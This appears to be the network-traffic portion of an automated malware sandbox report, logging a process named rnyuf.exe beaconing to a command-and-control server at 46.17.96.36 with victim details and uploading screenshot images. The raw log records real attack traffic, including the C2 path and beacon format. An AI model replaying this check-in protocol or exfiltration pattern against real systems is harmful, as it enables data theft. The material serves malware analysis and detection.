Aug 29, 2021 22:29:07.980022907 CEST	50055	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:07.980093002 CEST	80	50055	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:07.980145931 CEST	50055	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:08.015098095 CEST	80	50055	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:08.015187025 CEST	80	50055	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:08.015213013 CEST	80	50055	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:08.015233994 CEST	50055	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:08.015238047 CEST	80	50055	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:08.015271902 CEST	50055	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:08.015321016 CEST	50055	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:08.015393019 CEST	80	50055	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:08.015429020 CEST	80	50055	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:08.015450954 CEST	50055	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:08.015471935 CEST	50055	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:08.015477896 CEST	50055	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:08.015678883 CEST	80	50055	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:08.015703917 CEST	80	50055	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:08.015767097 CEST	50055	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:08.015799046 CEST	50055	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:08.050515890 CEST	80	50055	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:08.050575972 CEST	80	50055	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:08.050596952 CEST	80	50055	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:08.050704956 CEST	80	50055	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:08.050729990 CEST	80	50055	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:08.050918102 CEST	80	50055	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:08.051098108 CEST	80	50055	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:08.051311016 CEST	80	50055	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:08.051337957 CEST	80	50055	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:08.051359892 CEST	80	50055	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:08.051590919 CEST	80	50055	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:08.051752090 CEST	80	50055	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:08.051779985 CEST	80	50055	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:08.051944971 CEST	80	50055	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:08.052122116 CEST	80	50055	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:08.064892054 CEST	50055	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:08.064974070 CEST	50055	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:08.064991951 CEST	50055	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:08.086781979 CEST	50056	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:08.100136995 CEST	80	50055	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:08.100357056 CEST	80	50055	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:08.100387096 CEST	80	50055	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:08.100411892 CEST	80	50055	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:08.100920916 CEST	80	50055	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:08.100950003 CEST	80	50055	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:08.121668100 CEST	80	50056	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:08.121757030 CEST	50056	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:08.129369020 CEST	50056	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:08.136305094 CEST	80	50055	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:08.136404991 CEST	50055	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:08.164129972 CEST	80	50056	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:08.229768038 CEST	80	50056	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:08.229883909 CEST	50056	80	192.168.2.4	46.17.96.36

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Aug 29, 2021 22:26:59.056830883 CEST	54531	53	192.168.2.4	8.8.8.8
Aug 29, 2021 22:26:59.136215925 CEST	53	54531	8.8.8.8	192.168.2.4
Aug 29, 2021 22:27:09.054622889 CEST	49714	53	192.168.2.4	8.8.8.8
Aug 29, 2021 22:27:09.088057041 CEST	53	49714	8.8.8.8	192.168.2.4
Aug 29, 2021 22:27:30.502619028 CEST	58028	53	192.168.2.4	8.8.8.8
Aug 29, 2021 22:27:30.544591904 CEST	53	58028	8.8.8.8	192.168.2.4
Aug 29, 2021 22:27:52.159596920 CEST	53097	53	192.168.2.4	8.8.8.8
Aug 29, 2021 22:27:52.197352886 CEST	53	53097	8.8.8.8	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class
Aug 29, 2021 22:27:09.054622889 CEST	192.168.2.4	8.8.8.8	0x5db3	Standard query (0)	cdn.discordapp.com	A (IP address)	IN (0x0001)

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class
Aug 29, 2021 22:27:09.088057041 CEST	8.8.8.8	192.168.2.4	0x5db3	No error (0)	cdn.discordapp.com	162.159.134.233	A (IP address)	IN (0x0001)
Aug 29, 2021 22:27:09.088057041 CEST	8.8.8.8	192.168.2.4	0x5db3	No error (0)	cdn.discordapp.com	162.159.130.233	A (IP address)	IN (0x0001)
Aug 29, 2021 22:27:09.088057041 CEST	8.8.8.8	192.168.2.4	0x5db3	No error (0)	cdn.discordapp.com	162.159.133.233	A (IP address)	IN (0x0001)
Aug 29, 2021 22:27:09.088057041 CEST	8.8.8.8	192.168.2.4	0x5db3	No error (0)	cdn.discordapp.com	162.159.129.233	A (IP address)	IN (0x0001)
Aug 29, 2021 22:27:09.088057041 CEST	8.8.8.8	192.168.2.4	0x5db3	No error (0)	cdn.discordapp.com	162.159.135.233	A (IP address)	IN (0x0001)

HTTP Request Dependency Graph

46.17.96.36

cdn.discordapp.com

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.4	49734	46.17.96.36	80	C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 29, 2021 22:27:08.907227039 CEST	950	OUT	POST /k8FppT/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----6f2b8ec125833bffe61c308b0401688c Host: 46.17.96.36 Content-Length: 107127 Cache-Control: no-cache
Aug 29, 2021 22:27:08.907447100 CEST	951	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 36 66 32 62 38 65 63 31 32 35 38 33 33 62 66 66 65 36 31 63 33 30 38 62 30 34 30 31 36 38 38 63 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------6f2b8ec125833bffe61c308b0401688cContent-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Aug 29, 2021 22:27:08.907607079 CEST	961	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Aug 29, 2021 22:27:08.907707930 CEST	963	OUT	Data Raw: 28 a0 06 e3 14 94 fa 31 45 82 e3 29 71 ed 4e 2b 48 45 2b 0e e3 68 22 97 14 51 60 b8 dc 50 69 71 45 03 1b 8e 69 71 4b 45 20 b8 da 4c 53 b1 46 28 b0 c6 e2 8c 53 b1 49 4a c1 71 39 a3 9a 31 46 28 18 94 52 d1 cd 20 1a 68 c5 2d 14 0c 6d 14 ea 28 01 a6 Data Ascii: (1E)qN+HE+h"Q`PiqEiqKE LSF(SIJq91F(R h-m(R(RJZ((,QN4X.%-sNBJ\QLJ)h4wSZu_>:0}7{S:r^#(psQ3\zyjf-N~ck
Aug 29, 2021 22:27:08.940452099 CEST	969	OUT	Data Raw: 14 4e 49 3f af e4 6b c5 3e 37 7f c9 47 97 fe bd 62 fe 55 ef 1a 0f 87 5f 4e b9 9b 52 d4 6e 7e d9 aa dc 0c 49 36 30 a8 bf dd 51 d8 7f 9e 2b c1 fe 36 ff 00 c9 47 9b fe bd a2 fe 55 cd cd 1e 68 c2 2e e9 2d ce 95 19 72 ca 72 56 6d ec 79 cd 2d 1c d1 cd Data Ascii: NI?k>7GbU_NRn~I60Q+6GUh.-rrVmy-j@QE{G`i.tt{>`o;g8k<)rQXTnAA\so&?!l9+J')^?G+?j:S7?tj?f
Aug 29, 2021 22:27:08.940483093 CEST	974	OUT	Data Raw: ba 35 bf 88 de d6 e3 7c 45 70 f3 c4 b7 53 79 90 27 f7 5b 23 71 5f e2 0b 81 d3 0d 24 13 e8 cb e3 9f 08 c7 71 a7 6a 32 5f 79 1a 58 13 47 7c 89 10 3b 23 c6 63 30 93 c7 71 bf 9f 6a f3 61 0c 7e 94 a2 14 03 00 70 69 c6 8c 93 bd fa df f3 ff 00 30 9d 65 Data Ascii: 5\|EpSy'[#q_$qj2_yXG\|;#c0qja~pi0e+hwxv+u0\?U?]Lo.<N\|Wr6D$?m9A8q/A=*VVbMobiGFb)\|lJ(EQ!EPIKI@QQbQ@
Aug 29, 2021 22:27:08.940597057 CEST	984	OUT	Data Raw: 9f 7e e3 de bd 0a cb c6 cc be 2f 6b 7b b9 91 b4 bb f4 47 b3 90 0c 04 c8 c0 cf e3 90 73 d0 8a f3 6f f8 47 35 cf fa 02 ea 3f f8 0a ff 00 e1 52 1d 0b c4 0d 02 42 da 3e a2 51 09 2a 0d ab f1 9e bd bd 85 7a f5 f0 f8 7a ce ed ad ad fd 7a 1e 3d 0c 46 22 Data Ascii: ~/k{GsoG5?RB>Q*zzz=F"O{^U#ZxbATd0RGc_>)vz("<KNkKqvFvaqRiAQH((ZJ`R1@QE(((RE-((v)
Aug 29, 2021 22:27:08.940609932 CEST	986	OUT	Data Raw: f4 b5 ad fd 75 3d b2 d3 5b b7 d7 e1 f0 fd f4 18 05 af 19 64 8f 39 28 e2 de 6c 8f f3 da bc 5b e3 3f fc 94 39 bf eb da 2f e5 5d 27 80 ee 58 f8 d6 ce 18 8b 25 b4 92 49 27 95 9c 80 44 52 01 f9 06 23 35 cd fc 65 ff 00 92 87 37 fd 7b c5 ff 00 a0 d7 95 Data Ascii: u=[d9(l[?9/]'X%I'DR#5e7{ZP[[gBs{GRKE%;oij}p&kN^.MH/<[B"<c/ci7qZ[S,*{{{KO^gr.ry/(A}+!76
Aug 29, 2021 22:27:08.940896034 CEST	989	OUT	Data Raw: c9 6e 8e 78 21 1e b4 a1 71 5b de 5d b3 75 41 49 f6 3b 56 f6 a3 d8 8f eb 2b aa 30 f1 4e 03 35 b2 74 d8 8f dd 62 29 87 4a 3d 9c 7e 22 8f 64 d0 7d 62 06 5e da 70 15 7c e9 92 8e 98 35 1b 58 cc bc ed a3 91 87 b5 8b ea 56 c5 2e 2a 53 6e e3 aa 9a 6f 96 Data Ascii: nx!q[]uAI;V+0N5tb)J=~"d}b^p\|5XV.SnoGo(OhNT7O)UCeANO3+<]S<y^G^]*chT)Fc)K\|]j}(BK,K\S&Kp+b1Eq1Y
Aug 29, 2021 22:27:08.973484039 CEST	992	OUT	Data Raw: db 47 8e 09 21 7b 57 b9 cb 36 65 79 23 75 7d bf 2b a6 fc 06 c1 c8 ce 46 18 8a ae ba db 9f 11 69 3a c9 b3 20 e9 c9 68 a2 1f 37 fd 67 90 aa 3e f6 38 dd b7 d0 e3 3d e9 c1 d6 be bd ff 00 0d 45 35 47 5b 7f 5b 17 f5 2d 06 da 0f 0a da 6a 96 73 4d 25 d6 Data Ascii: G!{W6ey#u}+Fi: h7g>8=E5G[[-jsM%$ N+8@nf7muxuydTK<& L6G42E#K3jP{;GwR7`+,PPt*NOJ-KV-?3a:X2IM3
Aug 29, 2021 22:27:08.973788977 CEST	997	OUT	Data Raw: 53 15 1b 68 d6 d2 72 8f 8a af ac 47 a9 5c ac e6 68 ad e9 3c 3c df c0 ea 6a ac 9a 25 ca 74 5c 8f 6a b5 5a 0f a8 9a 6b 74 65 d2 d5 97 b0 b8 8f ac 6c 3f 0a 81 a2 71 d5 4d 5a 92 62 19 9a 5a 31 8a 00 aa 10 52 e6 92 81 40 0e 06 9d 9a 65 38 75 a6 48 f0 Data Ascii: ShrG\h<<j%t\jZktel?qMZbZ1R@e8uHjqGTY&1{3IN4,}RZJZJ)h@J(4Q@hQ(Q@Q@SiGZ-QM(R)@8pN"1NWbHJm<MK)#)i8R1E^)hh
Aug 29, 2021 22:27:09.081614971 CEST	1060	IN	HTTP/1.1 200 OK Server: nginx/1.14.1 Date: Sun, 29 Aug 2021 20:27:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.6.40 Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1	192.168.2.4	49735	46.17.96.36	80	C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 29, 2021 22:27:08.914541006 CEST	964	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 46.17.96.36 Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 31 65 36 38 30 64 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=1e680d&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Aug 29, 2021 22:27:08.995714903 CEST	1040	IN	HTTP/1.1 200 OK Server: nginx/1.14.1 Date: Sun, 29 Aug 2021 20:27:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.6.40 Data Raw: 31 31 36 0d 0a 3c 63 3e 31 30 30 30 30 30 33 30 30 31 2b 2b 2b 67 48 6a 5a 7a 39 79 38 2f 59 73 35 76 4a 5a 33 34 50 6c 31 41 4d 53 67 56 57 31 65 67 4f 57 4b 70 67 73 30 2f 44 73 62 67 6a 61 52 41 6f 77 6b 44 34 37 69 51 65 69 46 4f 39 34 68 54 6a 35 6a 50 79 42 55 67 2f 33 46 7a 38 68 72 54 4f 73 47 4f 37 62 70 35 4a 6c 59 4d 45 66 4e 5a 74 33 36 7a 63 61 35 2b 47 7a 4b 35 64 72 45 39 43 70 43 44 39 58 72 45 58 68 67 5a 51 3d 3d 23 31 30 30 30 30 30 34 30 30 31 2b 2b 2b 67 48 6a 5a 7a 39 79 38 2f 59 73 35 76 4a 5a 33 34 50 6c 31 41 4d 53 67 56 57 31 65 67 4f 57 4b 70 67 73 30 2f 44 73 62 67 6a 61 52 41 6f 77 6b 44 34 37 69 51 65 69 46 4f 39 34 68 54 6a 35 6a 50 79 42 55 67 2f 33 46 7a 38 68 72 54 4f 73 47 4f 37 62 70 35 4a 5a 51 4e 45 72 45 59 4e 7a 39 7a 38 61 37 2b 6d 7a 4f 2b 39 2b 57 37 44 59 4e 41 4e 54 79 57 6d 56 39 23 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 116<c>1000003001+++gHjZz9y8/Ys5vJZ34Pl1AMSgVW1egOWKpgs0/DsbgjaRAowkD47iQeiFO94hTj5jPyBUg/3Fz8hrTOsGO7bp5JlYMEfNZt36zca5+GzK5drE9CpCD9XrEXhgZQ==#1000004001+++gHjZz9y8/Ys5vJZ34Pl1AMSgVW1egOWKpgs0/DsbgjaRAowkD47iQeiFO94hTj5jPyBUg/3Fz8hrTOsGO7bp5JZQNErEYNz9z8a7+mzO+9+W7DYNANTyWmV9#<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
10	192.168.2.4	49745	46.17.96.36	80	C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 29, 2021 22:27:13.051842928 CEST	2097	OUT	POST /k8FppT/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----6f2b8ec125833bffe61c308b0401688c Host: 46.17.96.36 Content-Length: 107127 Cache-Control: no-cache
Aug 29, 2021 22:27:13.051963091 CEST	2097	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 36 66 32 62 38 65 63 31 32 35 38 33 33 62 66 66 65 36 31 63 33 30 38 62 30 34 30 31 36 38 38 63 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------6f2b8ec125833bffe61c308b0401688cContent-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Aug 29, 2021 22:27:13.052170992 CEST	2107	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Aug 29, 2021 22:27:13.052321911 CEST	2110	OUT	Data Raw: 28 a0 06 e3 14 94 fa 31 45 82 e3 29 71 ed 4e 2b 48 45 2b 0e e3 68 22 97 14 51 60 b8 dc 50 69 71 45 03 1b 8e 69 71 4b 45 20 b8 da 4c 53 b1 46 28 b0 c6 e2 8c 53 b1 49 4a c1 71 39 a3 9a 31 46 28 18 94 52 d1 cd 20 1a 68 c5 2d 14 0c 6d 14 ea 28 01 a6 Data Ascii: (1E)qN+HE+h"Q`PiqEiqKE LSF(SIJq91F(R h-m(R(RJZ((,QN4X.%-sNBJ\QLJ)h4wSZu_>:0}7{S:r^#(psQ3\zyjf-N~ck
Aug 29, 2021 22:27:13.085886955 CEST	2135	OUT	Data Raw: 14 4e 49 3f af e4 6b c5 3e 37 7f c9 47 97 fe bd 62 fe 55 ef 1a 0f 87 5f 4e b9 9b 52 d4 6e 7e d9 aa dc 0c 49 36 30 a8 bf dd 51 d8 7f 9e 2b c1 fe 36 ff 00 c9 47 9b fe bd a2 fe 55 cd cd 1e 68 c2 2e e9 2d ce 95 19 72 ca 72 56 6d ec 79 cd 2d 1c d1 cd Data Ascii: NI?k>7GbU_NRn~I60Q+6GUh.-rrVmy-j@QE{G`i.tt{>`o;g8k<)rQXTnAA\so&?!l9+J')^?G+?j:S7?tj?f
Aug 29, 2021 22:27:13.119160891 CEST	2138	OUT	Data Raw: db 47 8e 09 21 7b 57 b9 cb 36 65 79 23 75 7d bf 2b a6 fc 06 c1 c8 ce 46 18 8a ae ba db 9f 11 69 3a c9 b3 20 e9 c9 68 a2 1f 37 fd 67 90 aa 3e f6 38 dd b7 d0 e3 3d e9 c1 d6 be bd ff 00 0d 45 35 47 5b 7f 5b 17 f5 2d 06 da 0f 0a da 6a 96 73 4d 25 d6 Data Ascii: G!{W6ey#u}+Fi: h7g>8=E5G[[-jsM%$ N+8@nf7muxuydTK<& L6G42E#K3jP{;GwR7`+,PPt*NOJ-KV-?3a:X2IM3
Aug 29, 2021 22:27:13.119285107 CEST	2154	OUT	Data Raw: 53 15 1b 68 d6 d2 72 8f 8a af ac 47 a9 5c ac e6 68 ad e9 3c 3c df c0 ea 6a ac 9a 25 ca 74 5c 8f 6a b5 5a 0f a8 9a 6b 74 65 d2 d5 97 b0 b8 8f ac 6c 3f 0a 81 a2 71 d5 4d 5a 92 62 19 9a 5a 31 8a 00 aa 10 52 e6 92 81 40 0e 06 9d 9a 65 38 75 a6 48 f0 Data Ascii: ShrG\h<<j%t\jZktel?qMZbZ1R@e8uHjqGTY&1{3IN4,}RZJZJ)h@J(4Q@hQ(Q@Q@SiGZ-QM(R)@8pN"1NWbHJm<MK)#)i8R1E^)hh
Aug 29, 2021 22:27:13.119321108 CEST	2164	OUT	Data Raw: 50 67 ce f8 cd 30 83 9e 6b e8 e5 f0 d6 88 07 fc 82 ed 7f ef 8a f3 3f 89 9a 7d 9d 95 cd 97 d9 2d a2 83 72 36 e1 18 c6 79 aa 85 5e 77 60 92 e5 3c 8e 93 14 99 a5 15 c6 7a 07 a6 fc 0d e3 c6 b7 bf f6 0e 7f fd 19 1d 7b ad f3 e2 df 1f de 60 3f af f4 af Data Ascii: Pg0k?}-r6y^w`<z{`?t}fA4;;;]> x!GVP)F{0T]Il;j\|~)k%o1)qIJ+,)i3@4uR)<:s^Q_YH;x~^S
Aug 29, 2021 22:27:13.119800091 CEST	2167	OUT	Data Raw: 4e 02 80 38 a7 01 4c 86 ce 97 c2 6b 98 f5 1f fa e4 3f 91 ae 74 f0 ed f5 ae a7 c1 f1 ee 83 53 3f f4 cb fa 1a e6 18 7c c7 eb 5c 14 25 fb fa 8b d0 ea ae ad 42 0f d4 6d 18 a5 c5 18 ae db 9c 37 12 9c 28 c5 00 50 20 a5 a5 c5 2e 3d aa 5b 10 98 a3 14 f0 Data Ascii: N8Lk?tS?\|\%Bm7(P .=[xF?AR[i?CU?H=9WeImd[k4>f)w5X*sJ1]/f@7yZKI/&:Z{77?/mZ_Z+
Aug 29, 2021 22:27:13.119955063 CEST	2185	OUT	Data Raw: 19 f8 79 ce 5e 07 56 3d 4f 97 5e 6c 2a e2 29 d5 9c fd 9b d4 f5 6a 61 f0 d5 68 c2 0a a5 ac 71 29 a6 dd b9 f9 6d e4 3f f0 1a b2 9e 1f d4 1f fe 58 10 3d f8 ae 92 6d 73 48 bc 07 ec da c3 5b 7b 3c 78 ac e9 ed ae ae 01 6b 6f 11 43 2a 9e db f6 d7 42 c6 Data Ascii: y^V=O^l)jahq)m?X=msH[{<xkoCBU{_TI`)gTO]dh{J<?og\ZtQfyS^J>tb[G9EJN~>lJ_Q0LoQaq\y5KK4:9<aNO
Aug 29, 2021 22:27:13.152941942 CEST	2188	OUT	Data Raw: 62 c0 80 01 e3 9e 38 ce 6d c2 5a b6 5a 53 8e 88 f5 2b 4f 8f f6 76 31 b4 76 7e 0b 86 dd 19 b7 b2 c3 78 10 16 f5 20 45 d7 81 f9 55 8f f8 68 c1 ff 00 42 af fe 54 3f fb 5d 79 14 5e 1b b8 b8 bb d3 61 b4 bc b3 b9 8f 50 b8 7b 78 67 42 ea 81 94 ae e2 db Data Ascii: b8mZZS+Ov1v~x EUhBT?]y^aP{xgB00l,nr#&L`&>RGk_:g#^O-d>f+yc8L.no?6OO1d&<"B\@9'q"\Sw
Aug 29, 2021 22:27:13.221765041 CEST	2204	IN	HTTP/1.1 200 OK Server: nginx/1.14.1 Date: Sun, 29 Aug 2021 20:27:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.6.40 Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
100	192.168.2.4	49838	46.17.96.36	80	C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 29, 2021 22:27:47.049220085 CEST	9650	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 46.17.96.36 Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 31 65 36 38 30 64 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=1e680d&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Aug 29, 2021 22:27:47.126179934 CEST	9650	IN	HTTP/1.1 200 OK Server: nginx/1.14.1 Date: Sun, 29 Aug 2021 20:27:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.6.40 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
101	192.168.2.4	49839	46.17.96.36	80	C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 29, 2021 22:27:47.310086966 CEST	9651	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 46.17.96.36 Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 31 65 36 38 30 64 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=1e680d&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Aug 29, 2021 22:27:47.387438059 CEST	9740	IN	HTTP/1.1 200 OK Server: nginx/1.14.1 Date: Sun, 29 Aug 2021 20:27:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.6.40 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
102	192.168.2.4	49840	46.17.96.36	80	C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 29, 2021 22:27:47.314251900 CEST	9651	OUT	POST /k8FppT/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----2c09df93ad9fbf4372f0aa685f89642f Host: 46.17.96.36 Content-Length: 110773 Cache-Control: no-cache
Aug 29, 2021 22:27:47.314394951 CEST	9651	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 32 63 30 39 64 66 39 33 61 64 39 66 62 66 34 33 37 32 66 30 61 61 36 38 35 66 38 39 36 34 32 66 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------2c09df93ad9fbf4372f0aa685f89642fContent-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Aug 29, 2021 22:27:47.314780951 CEST	9661	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Aug 29, 2021 22:27:47.315040112 CEST	9664	OUT	Data Raw: 28 a0 06 e3 14 94 fa 31 45 82 e3 29 71 ed 4e 2b 48 45 2b 0e e3 68 22 97 14 51 60 b8 dc 50 69 71 45 03 1b 8e 69 71 4b 45 20 b8 da 4c 53 b1 46 28 b0 c6 e2 8c 53 b1 49 4a c1 71 39 a3 9a 31 46 28 18 94 52 d1 cd 20 1a 68 c5 2d 14 0c 6d 14 ea 28 01 a6 Data Ascii: (1E)qN+HE+h"Q`PiqEiqKE LSF(SIJq91F(R h-m(R(RJZ((,QN4X.%-sNBJ\QLJ)h4wSZu_>:0}7{S:r^#(psQ3\zyjf-N~ck
